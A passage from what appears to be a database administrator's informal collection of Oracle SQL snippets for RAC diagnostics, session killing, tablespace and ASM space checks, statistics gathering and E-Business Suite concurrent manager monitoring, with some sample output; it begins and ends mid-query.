'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;
-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see
-- if the file is being generated.
oradebug -g all dump systemstate 258
set echo off
select to_char(sysdate) time from dual;
spool off
-- ---------------------------------------------------------------------------
Prompt;
Prompt racdiag output files have been written to:;
Prompt;
host pwd
Prompt alert log and trace files are located in:;
column host_name format a12 tru
column name format a20 tru
column value format a60 tru
select distinct i.host_name, p.name, p.value
from gv$instance i, gv$parameter p
where p.inst_id = i.inst_id (+)
and p.name like '%_dump_dest'
and p.name != 'core_dump_dest';
quickSQL2017
KILL LOCKED SESSION/OBJECTS
====================
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%';
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE client_identifier in ('QIA123');
select osuser,machine,terminal,program,logon_time,status,action FROM GV$SESSION WHERE USERNAME like 'XXHR' and machine like 'KOUNCIL%' order by terminal,logon_time;
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE client_identifier in ('QIA234')
KILL SESSIONS LOCKING OBJECTS
=============================
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.CLIENT_IDENTIFIER,
b.status,
b.osuser,
b.machine
from
gv$locked_object a ,
gv$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.STATUS='INACTIVE' order by b.client_identifier;
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE client_identifier in
(select
distinct
b.CLIENT_IDENTIFIER
from
gv$locked_object a ,
gv$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id AND OBJECt_NAME LIKE 'XXHR_REST_%' AND b.client_identifier like 'AD1%' AND b.STATUS='INACTIVE');
LOCKED OBJECTS IN DATABASE
===========================
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.CLIENT_IDENTIFIER,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id order by b.client_identifier;
select
c.owner,
c.object_name,
c.object_type,
b.sid,
b.serial#,
b.CLIENT_IDENTIFIER,
b.status,
b.osuser,
b.machine
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id order by b.client_identifier;
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
#################kill XXHR_REST_% TABLE OBJECTS LOCKING SESSIONS###########
SELECT 'ALTER SYSTEM KILL SESSION ''' || SID || ',' || SERIAL# || ',@' || INST_ID || ''' IMMEDIATE;' FROM GV$SESSION WHERE client_identifier in (
select
b.CLIENT_IDENTIFIER
from
v$locked_object a ,
v$session b,
dba_objects c
where
b.sid = a.session_id
and
a.object_id = c.object_id
and c.OBJECT_NAME like 'XXHR_REST_%'
)
session information
----------------------
SELECT INST_ID,SID,SERIAL#,USERNAME,STATUS,SCHEMANAME,OSUSER,MACHINE,TERMINAL,PROGRAM,MODULE,LOGON_TIME FROM GV$SESSION WHERE MACHINE NOT IN ('PIESAPPL','PIESDB1','PIESDB2') AND OSUSER NOT IN ('SYSTEM')
AND lower(MODULE) NOT IN ('oraagent.exe','piaceclasslibraryhost.exe','wireportserver.exe','rdbmspi.exe') AND OSUSER NOT IN ('AA1007860','AD1007860') ORDER BY USERNAME,LOGON_TIME;
SELECT user_name username,
description name,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 3 DESC
/
SELECT user_name username,
description name,
to_char(b.first_connect,'MM/DD/RR HH24:MI') firstconnect,
to_char(b.last_connect,'MM/DD/RR HH24:MI') lastconnect
FROM apps.fnd_user a,
(SELECT MIN (first_connect) first_connect,
MAX (last_connect) last_connect, last_updated_by user_id
FROM apps.icx_sessions
GROUP BY last_updated_by) b
WHERE a.user_id = b.user_id
AND last_connect>SYSDATE-3/12
ORDER BY 4 DESC
/
USER_SESSIONS_IN_LAST_4HOURS
-----------------------------
SELECT fn.node_name, 'Number of user sessions : ' || COUNT(DISTINCT session_id) user_sessions_in_last_6_Hours
FROM icx_sessions icx, fnd_nodes fn
WHERE fn.node_id = icx.node_id AND last_connect > sysdate -(4 / 24) AND disabled_flag != 'Y' AND pseudo_flag = 'N'
GROUP BY fn.node_name;
select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
and icx.PSEUDO_FLAG = 'N'
and icx.node_id=fnd.node_id
and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
group by icx.node_id,fnd.node_name;
select * from gv$resource_limit;
SELECT * FROM V$DATABASE_BLOCK_CORRUPTION;
SELECT * FROM V$BACKUP_CORRUPTION;
SELECT * FROM V$DATAFILE WHERE UNRECOVERABLE_CHANGE#<>0;
SELECT * FROM V$DATAFILE WHERE STATUS IN ('OFFLINE','SYSOFF');
select status from v$instance;
select count(*) from dba_objects where status='INVALID';
SELECT TABLESPACE_NAME,SUM(BYTES)/1024/1024 "free space in MB" FROM DBA_FREE_SPACE GROUP BY TABLESPACe_NAME order by 2;
SELECT T.TS#,T.NAME,D.NAME,d.bytes/1024/1024 FROM V$TABLESPACE T, V$DATAFILE D WHERE T.TS#=D.TS#;
select opname,time_remaining from v$session_longops where time_remaining<>0;
select icx.node_id,fnd.node_name,'Number of user sessions : ' || count( distinct icx.session_id) How_many_user_sessions
from icx_sessions icx, fnd_nodes fnd where icx.disabled_flag != 'Y'
and icx.PSEUDO_FLAG = 'N'
and icx.node_id=fnd.node_id
and (icx.last_connect + decode(FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT'), NULL,icx.limit_time, 0,
icx.limit_time,FND_PROFILE.VALUE('ICX_SESSION_TIMEOUT')/60)/24) > sysdate and counter < icx.limit_connects
group by icx.node_id,fnd.node_name;
NODE_ID NODE_NAME HOW_MANY_USER_SESSIONS
------------------------------------------------------------------
3160 EBSLXPRDAP1 Number of user sessions : 44
5159 EBSLXPRDAP2 Number of user sessions : 251
6159 CAREERS Number of user sessions : 27
select b.tablespace_name, tbs_size SizeMb, a.free_space FreeMB
from (select tablespace_name, round(sum(bytes)/1024/1024 ,2) as free_space
from dba_free_space
group by tablespace_name) a,
(select tablespace_name, sum(bytes)/1024/1024 as tbs_size
from dba_data_files
group by tablespace_name) b
where a.tablespace_name(+)=b.tablespace_name
ORDER BY 2 DESC;
TABLESPACE_NAME SIZEGB FREEGB
------------------------------ ---------- ----------
APPS_TS_TX_IDX 84.8369141 47.32
APPS_TS_TX_DATA 73.140625 .63
APPS_TS_MEDIA 38.671875 .69
APPS_TS_SEED 25.8789063 .08APPS_TS_TX_IDX 84.8369141 47.32
APPS_TS_TX_DATA 73.140625 .63
APPS_TS_MEDIA 38.671875 .69
APPS_TS_SEED 25.8789063 .08APPS_TS_TX_IDX 84.8369141 47.32
APPS_TS_TX_DATA 73.140625 .63
APPS_TS_MEDIA 38.671875 .69
APPS_TS_SEED 25.8789063 .08APPS_TS_TX_IDX 84.8369141 47.32
APPS_TS_TX_DATA 73.140625 .63
APPS_TS_MEDIA 38.671875 .69
APPS_TS_SEED 25.8789063 .08
query to check if tablespace/datafile/database is in active begin backup mode
------------------------------------------------------------------------------
SELECT d.tablespace_name, b.time, b.status
FROM dba_data_files d, v$backup b
WHERE
d.file_id = b.FILE#
AND b.STATUS = 'ACTIVE' ;
GENERATED INVALID OBJECTS COMPILE STATEMENT
-------------------------------------------
select
'ALTER ' || OBJECT_TYPE || ' ' ||
OWNER || '.' || OBJECT_NAME || ' COMPILE;'
from
dba_objects
where
status = 'INVALID'
and
object_type in ('PACKAGE','FUNCTION','PROCEDURE')
;
-----------------
size of schemaS
----------------
SELECT s.owner,SUM (s.BYTES) / (1024 * 1024) SIZE_IN_MB FROM dba_segments s GROUP BY s.owner order by 2 desc;
BO_SYSTEM 118.0625
BO_AUDIT 1.1875
BOCMS 47.3125
BOAUDIT 8.25
table size
----------
SELECT owner,
segment_name,
segment_type,
tablespace_name,
bytes/1048576 MB,
initial_extent,
next_extent,
extents,
pct_increase
FROM
DBA_SEGMENTS
WHERE
OWNER = 'schema name here' AND
SEGMENT_NAME = 'table name here' AND
SEGMENT_TYPE = 'TABLE';
OWNER SEGMENT_NAME SEGMENT_TYPE TABLESPACE_NAME MB INITIAL_EXTENT NEXT_EXTENT EXTENTS PCT_INCREASE
--------------------- ------------------ ------------------------------ ---------- -------------- ----------- ---------- -----
MAXIMO WFASSIGNMENT TABLE MAXDATA 4594 81920 1048576 255
TOTAL DATABASE SIZE, USED SPACE & FREE SPACE DATABASE SIZE
=============
--------------------------------------------
select round(sum(used.bytes) / 1024 / 1024 / 1024 ) || ' GB' "Database Size"
, round(sum(used.bytes) / 1024 / 1024 / 1024 ) -
round(free.p / 1024 / 1024 / 1024) || ' GB' "Used space"
, round(free.p / 1024 / 1024 / 1024) || ' GB' "Free space"
from (select bytes
from v$datafile
union all
select bytes
from v$tempfile
union all
select bytes
from v$log) used
, (select sum(bytes) as p
from dba_free_space) free
group by free.p;
Which schemas are taking up all of the space
----------------------------------------------
select obj.owner "Owner"
, obj_cnt "Objects"
, decode(seg_size, NULL, 0, seg_size) "size MB"
from (select owner, count(*) obj_cnt from dba_objects group by owner) obj
, (select owner, ceil(sum(bytes)/1024/1024) seg_size
from dba_segments group by owner) seg
where obj.owner = seg.owner(+)
order by 3 desc ,2 desc, 1;
CHECK TABLE IN WHICH TABLESPACE
-------------------------------
select owner, table_name, tablespace_name
from dba_tables
where table_name='FND_USER';
check total temporary space usage
---------------------------------
select a.tablespace_name, a.contents, b.total_space,
to_char(nvl(c.used_space,0),'99,999,990')||' ('||to_char(100*nvl(c.used_space,0)/nvl(b.total_space,1),'fm990')||'%)' used_space,
to_char(nvl(d.free_space,0),'99,999,990')||' ('||to_char(100*nvl(d.free_space,0)/nvl(b.total_space,1),'fm990')||'%)' free_space
from sys.dba_tablespaces a,
(select tablespace_name, sum(bytes)/1024/1024 total_space
from sys.dba_temp_files
group by tablespace_name) b,
(select su.tablespace tablespace_name, sum(su.blocks*tb.block_size)/1024/1024 used_space, sum(su.extents) used_extents
from sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
where su.tablespace = tb.tablespace_name
and su.inst_id = ss.inst_id
and su.session_addr = ss.saddr
and ss.status in ('ACTIVE','INACTIVE')
group by su.tablespace) c,
(select tablespace_name, nvl(t2.total_space,0) - nvl(t1.used_space,0) free_space
from (select su.tablespace, sum(su.blocks*tb.block_size)/1024/1024 used_space
from sys.gv_$sort_usage su, sys.dba_tablespaces tb, sys.gv_$session ss
where su.tablespace = tb.tablespace_name
and su.inst_id = ss.inst_id
and su.session_addr = ss.saddr
and ss.status in ('ACTIVE','INACTIVE')
group by su.tablespace) t1,
(select tablespace_name, sum(bytes)/1024/1024 total_space
from sys.dba_temp_files
group by tablespace_name) t2
where t1.tablespace(+) = t2.tablespace_name) d
where a.tablespace_name = b.tablespace_name(+)
and a.tablespace_name = c.tablespace_name(+)
and a.tablespace_name = d.tablespace_name(+)
and a.contents = 'TEMPORARY'
order by a.tablespace_name
/
Query to check connected users
------------------------------
select
username,
osuser,
terminal,
utl_inaddr.get_host_address(terminal) IP_ADDRESS
from
v$session
where
username is not null
order by
username,
osuser;
TOP 50 TABLES BY SIZE
=====================
select top50.owner, top50.table_name, meg, a.num_rows
from dba_tables a,
(Select * from (
SELECT
owner, table_name, TRUNC(sum(bytes)/1024/1024) Meg
FROM
(SELECT segment_name table_name, owner, bytes
FROM dba_segments
WHERE segment_type like 'TABLE%'
UNION ALL
SELECT i.table_name, i.owner, s.bytes
FROM dba_indexes i, dba_segments s
WHERE s.segment_name = i.index_name
AND s.owner = i.owner
AND s.segment_type like 'INDEX%'
UNION ALL
SELECT l.table_name, l.owner, s.bytes
FROM dba_lobs l, dba_segments s
WHERE s.segment_name = l.segment_name
AND s.owner = l.owner
AND s.segment_type = 'LOBSEGMENT'
UNION ALL
SELECT l.table_name, l.owner, s.bytes
FROM dba_lobs l, dba_segments s
WHERE s.segment_name = l.index_name
AND s.owner = l.owner
AND s.segment_type = 'LOBINDEX')
GROUP BY table_name, owner
HAVING SUM(bytes)/1024/1024 > 10 /* Ignore small tables */
ORDER BY SUM(bytes) desc
) where rownum < 51) top50
where top50.owner =a.owner
and top50.table_name = a.table_name
order by meg desc, num_rows desc;
REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS REDOLOGS REDO LOGS
SELECT
a.GROUP#,
a.THREAD#,
a.SEQUENCE#,
a.ARCHIVED,
a.STATUS,
b.MEMBER AS REDOLOG_FILE_NAME,
(a.BYTES/1024/1024) AS SIZE_MB
FROM v$log a
JOIN v$logfile b ON a.Group#=b.Group#
ORDER BY a.GROUP# ASC;
add new redo log group and members of each 250M
-----------------------------------------------
ALTER DATABASE ADD LOGFILE thread 2 group 14 ('+DATA_EXA1/erpprd/ONLINELOG/log14a.rdo','+RECO_EXA1/erpprd/ONLINELOG/log14b.rdo') SIZE 250M;
FLASH RECOVERY AREA
-------------------
-------------------
====================
Percentage space used not feeable
-----------------------------------
SELECT Sum(percent_space_used)-Sum(percent_space_reclaimable) "PCT_SPACE_USED_NOT_FREEABLE" FROM v$flash_recovery_area_usage;
select * from v$flash_Recovery_Area_usage;
ABOUT ARCHIVE FILES
-------------------
===================
select trunc(first_time), sum(blocks*block_size)/1048576 Size_MB
from v$archived_log
where first_time > trunc(sysdate)-12
group by trunc(first_time)
order by 1;
select * from v$archived_log
where first_time>sysdate-1
order by first_time,thread#;
Check the last archive log applied or generated.
-------------------------------------------------
SQL> SELECT thread#,max(SEQUENCE#) FROM V$ARCHIVED_LOG group by thread#;
THREAD# MAX(SEQUENCE#)
---------- --------------
1 29926
2 9871
Each user and their roles and privileges whose account_status='OPEN'
---------------------------------------------------------------------
select
lpad(' ', 2*level) || granted_role "User, his roles and privileges"
from
(
/* THE USERS */
select
null grantee,
username granted_role
from
dba_users
where
account_status='OPEN'
/* THE ROLES TO ROLES RELATIONS */
union
select
grantee,
granted_role
from
dba_role_privs
/* THE ROLES TO PRIVILEGE RELATIONS */
union
select
grantee,
privilege
from
dba_sys_privs
)
start with grantee is null
connect by grantee = prior granted_role;
SQL> SELECT * FROM dba_sys_privs WHERE privilege = 'UNLIMITED TABLESPACE';
GRANTEE PRIVILEGE ADM
------------------------------ ---------------------------------------- ---
BO UNLIMITED TABLESPACE NO
CD_INVENTORY UNLIMITED TABLESPACE NO
DBSNMP UNLIMITED TABLESPACE NO
DOAADMIN UNLIMITED TABLESPACE NO
IDMS UNLIMITED TABLESPACE NO
IXIDMS UNLIMITED TABLESPACE NO
MAILING UNLIMITED TABLESPACE NO
NTEXCHANGE UNLIMITED TABLESPACE NO
NTEXCHANGE_RO UNLIMITED TABLESPACE NO
OUTLN UNLIMITED TABLESPACE NO
SYS UNLIMITED TABLESPACE YES
SYSTEM UNLIMITED TABLESPACE YES
TEL_DIR UNLIMITED TABLESPACE NO
SELECT dd.tablespace_name tablespace_name, dd.file_name file_name, dd.bytes/1024/1024 TABLESPACE_MB, SUM(fs.bytes)/1024/1024 MBYTES_FREE, MAX(fs.bytes)/1024/1024 NEXT_FREE_MB
FROM sys.dba_free_space fs, sys.dba_data_files dd
WHERE dd.tablespace_name = fs.tablespace_name
AND dd.file_id = fs.file_id
GROUP BY dd.tablespace_name, dd.file_name, dd.bytes/1024/1024
ORDER BY dd.tablespace_name, dd.file_name;
TABLESPACE_NAME FILE_NAME TABLESPACE_MB MBYTES_FREE NEXT_FREE_MB
------------- ----------- ------------------------- ----------- -----------------------------
ADMIN E:\ORADATA\SML\ADMIN01.ORA 50 46.5546875 46.28125
RBSN F:\ORADATA\SML\RBSN1.ORA 150 74.8359375 74.8359375
select df.tablespace_name "Tablespace",
totalusedspace "Used MB",
(df.totalspace - tu.totalusedspace) "Free MB",
df.totalspace "Total MB",
round(100 * ( (df.totalspace - tu.totalusedspace)/ df.totalspace))
"Pct. Free"
from
(select tablespace_name,
round(sum(bytes) / 1048576) TotalSpace
from dba_data_files
group by tablespace_name) df,
(select round(sum(bytes)/(1024*1024)) totalusedspace, tablespace_name
from dba_segments
group by tablespace_name) tu
where df.tablespace_name = tu.tablespace_name ;
Tablespace Used MB Free MB Total MB Pct. Free
------------------------------ ---------- ---------- ---------- ----------
ADMIN 3 48 51 94
RBSN 75 75 150 50
SYSTEM 74 176 250 70
USER_DATA 546 954 1500 64
AUTOEXTEND ON QUERY
---------------------
select
'alter database datafile '||
file_name||
' '||
' autoextend on;'
from
dba_data_files;
BIETL SESSION CONNECTED TO THE DATABASE NOW AND KILL SESSION SCRIPT TO BE GENERATED FOR THIS USER
**********************************----------------------------------*****************************
declare
v_sid pls_integer;
v_serial# pls_integer;
v_user_name varchar2(30);
v_status varchar2(20);
v_error_code number;
v_error_text varchar2(255);
cursor c1 is
select sid, serial#, username, status
from sys.v_$session
where type = 'USER'
and username ='BIETL'
and status in ('ACTIVE','INACTIVE')
and username is not null
and sid is not null
and serial# is not null
order by username, sid, serial#;
begin
open c1;
fetch c1 into v_sid, v_serial#, v_user_name, v_status;
while c1%found loop
dbms_output.put_line('alter system kill session '||rpad(''''||to_char(v_sid)||','||to_char(v_serial#)||'''',20,' ')||' immediate;');
dbms_output.put_line('exit;');
fetch c1 into v_sid, v_serial#, v_user_name, v_status;
end loop;
close c1;
end;
/
GATHER SCHEMA STATISTICS
------------------------
select count(table_name) from dba_tables where last_analyzed is NOT null AND OWNER='KOUNCIL';
ALTER SESSION SET NLS_DATE_FORMAT='DD/MON/YYYY HH:MI:SS AM';
select * from dba_tables where last_analyzed is not null AND OWNER='KOUNCIL';
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
EXECUTE DBMS_STATS.GATHER_DATABASE_STATS;
exec fnd_stats.gather_schema_statistics('GL'); <- One schema FROM ORACLE APPS
exec fnd_stats.gather_schema_statistics('ALL'); <- All schemas FROM ORACLE APPS
exec fnd_stats.gather_table_stats('GL','GL_JE_LINES'); <- One table FROM ORACLE APPS
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS(ownname => 'BIETL', estimate_percent => 100, degree => 8, method_opt => 'FOR ALL COLUMNS SIZE AUTO', granularity => 'ALL', cascade => TRUE, options => 'GATHER');
SET TIME ON;
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('KOUNCIL');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('EB');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPLSYS');
EXECUTE DBMS_STATS.GATHER_SCHEMA_STATS('APPS');
EXECUTE DBMS_STATS.GATHER_database_STATS();
Users of a responsibility - to know who are users of a specific responsibility like 'system administrator'.
-----------------------------------------------------------------------------------------------------------
select usr.user_id, usr.user_name,usr.DESCRIPTION, res.RESPONSIBILITY_NAME, res.RESPONSIBILITY_ID
from apps.FND_USER usr, apps.FND_RESPONSIBILITY_TL res, apps.FND_USER_RESP_GROUPS grp
where upper(res.RESPONSIBILITY_NAME) like upper('%' || NVL('SYSTEM ADMINISTRATOR', 'INV')|| '%')
and upper(res.RESPONSIBILITY_NAME) NOT like '%AX%'
and upper(res.RESPONSIBILITY_NAME) NOT like '%OPM%'
and grp.responsibility_id = res.responsibility_id
and grp.user_id = usr.user_id;
select opname,message,time_remaining from v$session_longops where time_remaining<>0;
select * from v$session_longops where time_remaining<>0;
ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM ASM
select NAME,
round((TOTAL_MB/1024),5) "Total GB",
round((TOTAL_MB-FREE_MB)/1024,5) "Used GB",
round(FREE_MB/1024,5) "Free GB",
round((((TOTAL_MB - FREE_MB)/TOTAL_MB) * 100),5) "% Used",
round((((TOTAL_MB - (TOTAL_MB - FREE_MB))/TOTAL_MB) * 100),5) "% Free"
from v$asm_diskgroup
order by NAME;
NAME Total GB Used GB Free GB % Used % Free
------------------------------ ---------- ---------- ---------- --------------------
OCR_VOTE 2.99414 .9043 2.08984 30.20222 69.79778
PIEU_DATA 199.99414 174.44336 25.55078 87.22424 12.77576
PIEU_FLASH 399.99414 17.4834 382.51074 4.37091 95.62909
SELECT name, type, ceil(total_mb / 1024) total_gb, ceil(free_mb / 1024) free_gb, required_mirror_free_mb, ceil((usable_file_mb) / 1024)
FROM v$asm_diskgroup;
SELECT d.name disk_name, g.name group_name, d.path, d.total_mb, d.free_mb
FROM v$asm_disk d, v$asm_diskgroup g
WHERE d.group_number = g.group_number(+);
SELECT *
FROM v$asm_diskgroup;
SELECT name, type, total_mb, free_mb, required_mirror_free_mb, usable_file_mb
FROM v$asm_diskgroup;
=====WITH KEYWORD QUERY=====
WITH got_prnum_cnt AS
(
SELECT ponum, prnum, COUNT(DISTINCT prnum) OVER (PARTITION BY ponum) AS prnum_cnt
FROM prline
)
SELECT ponum, prnum
FROM got_prnum_cnt
WHERE prnum_cnt > 1
;
select wonum from PLUSGMOCREQUEST where workorderid in (
WITH DATA (OWNERID,ASSIGNSTATUS) AS (SELECT OWNERID,ASSIGNSTATUS FROM WFASSIGNMENT WHERE OWNERID IN (SELECT DISTINCT OWNERID FROM WFINSTANCE WHERE ACTIVE=1) ORDER BY OWNERID)
SELECT OWNERID
FROM DATA
group by OWNERID
having MAX(CASE ASSIGNSTATUS WHEN 'ACTIVE' THEN ASSIGNSTATUS ELSE NULL END) is null);
CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT CONCURRENT
CHECK CONCURRENT MANAGER STATUS FROM BACK END
-----------------------------------------------
select decode(CONCURRENT_QUEUE_NAME,
'FNDICM','Internal Manager',
'FNDCRM','Conflict Resolution Manager',
'AMSDMIN','Marketing Data Mining Manager',
'C_AQCT_SVC','C AQCART Service',
'FFTM','FastFormula Transaction Manager',
'FNDCPOPP','Output Post Processor',
'FNDSCH','Scheduler/Prereleaser Manager',
'FNDSM_AQHERP','Service Manager: AQHERP',
'FTE_TXN_MANAGER','Transportation Manager',
'IEU_SH_CS','Session History Cleanup',
'IEU_WL_CS',
'UWQ Worklist Items Release for Crashed session',
'INVMGR','Inventory Manager','
INVTMRPM','INV Remote Procedure Manager','OAMCOLMGR',
'OAM Metrics Collection Manager',
'PASMGR','PA Streamline Manager',
'PODAMGR','PO Document Approval Manager',
'RCVOLTM','Receiving Transaction Manager',
'STANDARD','Standard Manager',
'WFALSNRSVC','Workflow Agent Listener Service',
'WFMLRSVC','Workflow Mailer Service','WFWSSVC',
'Workflow Document Web Services Service',
'WMSTAMGR','WMS Task Archiving Manager',
'XDP_APPL_SVC','SFM Application Monitoring Service',
'XDP_CTRL_SVC',
'SFM Controller Service',
'XDP_Q_EVENT_SVC','SFM Event Manager Queue Service',
'XDP_Q_FA_SVC','SFM Fulfillment Actions Queue Service',
'XDP_Q_FE_READY_SVC','SFM Fulfillment Element Ready Queue Service',
'XDP_Q_IN_MSG_SVC','SFM Inbound Messages Queue Service',
'XDP_Q_ORDER_SVC',
'SFM Order Queue Service',
'XDP_Q_TIMER_SVC','SFM Timer Queue Service',
'XDP_Q_WI_SVC','SFM Work Item Queue Service',
'XDP_SMIT_SVC','SFM SM Interface Test Service') as "Concurrent Manager's Name",
max_processes as "TARGET Processes",
running_processes as "ACTUAL Processes"
from apps.fnd_concurrent_queues
where CONCURRENT_QUEUE_NAME
in ('FNDICM','FNDCRM','AMSDMIN','C_AQCT_SVC','FFTM','FNDCPOPP','FNDSCH','FNDSM_AQHERP','FTE_TXN_MANAGER','IEU_SH_CS','IEU_WL_CS','INVMGR','INVTMRPM',
'OAMCOLMGR','PASMGR','PODAMGR','RCVOLTM','STANDARD','WFALSNRSVC','WFMLRSVC','WFWSSVC','WMSTAMGR','XDP_APPL_SVC','XDP_CTRL_SVC','XDP_Q_EVENT_SVC',
'XDP_Q_FA_SVC','XDP_Q_FE_READY_SVC','XDP_Q_IN_MSG_SVC','XDP_Q_ORDER_SVC','XDP_Q_TIMER_SVC','XDP_Q_WI_SVC','XDP_SMIT_SVC')
order by 3 desc
/
QUERIES TO KNOW WHAT CONCURRENT PROGRAMS WERE RUN FROM <start-date-time> to <end-date-time>
--------------------------------------------------------------------------------------------
select u.user_name,r.request_id,p.user_concurrent_program_name,r.actual_start_date,r.actual_completion_date,r.completion_text,
trunc((r.actual_completion_date-r.actual_start_date)*24*60,2) "TotalTimeInMinutes" from
fnd_concurrent_requests r,
fnd_user u,
fnd_concurrent_programs_tl p
where u.user_id=r.requested_by
and p.concurrent_program_id=r.concurrent_program_id
and phase_code='C' /* Completed */
and actual_completion_date is not null
and actual_start_date is not null
AND COMPLETION_TEXT='Normal completion'
and actual_start_date BETWEEN '19-JUN-2013 07:00:00 AM' AND '19-JUN-2013 05:00:00 PM'
order by "TotalTimeInMinutes" desc;
QUERY TO KNOW SCHEDULED CONCURRENT PROGRAMS.
--------------------------------------------
select r.request_id,
p.user_concurrent_program_name || nvl2(r.description,' ('||r.description||')',null) Conc_prog,
s.user_name REQUESTOR,
r.argument_text arguments,
r.requested_start_date next_run,
r.last_update_date LAST_RUN,
r.hold_flag on_hold,
r.increment_dates,
decode(c.class_type,
'P', 'Periodic',
'S', 'On Specific Days',
'X', 'Advanced',
c.class_type) schedule_type,
case
when c.class_type = 'P' then
'Repeat every ' ||
substr(c.class_info, 1, instr(c.class_info, ':') - 1) ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 1) + 1, 1),
'N', ' minutes',
'M', ' months',
'H', ' hours',
'D', ' days') ||
decode(substr(c.class_info, instr(c.class_info, ':', 1, 2) + 1, 1),
'S', ' from the start of the prior run',
'C', ' from the completion of the prior run')
when c.class_type = 'S' then
nvl2(dates.dates, 'Dates: ' || dates.dates || '. ', null) ||
decode(substr(c.class_info, 32, 1), '1', 'Last day of month ') ||
decode(sign(to_number(substr(c.class_info, 33))),
'1', 'Days of week: ' ||
decode(substr(c.class_info, 33, 1), '1', 'Su ') ||
decode(substr(c.class_info, 34, 1), '1', 'Mo ') ||
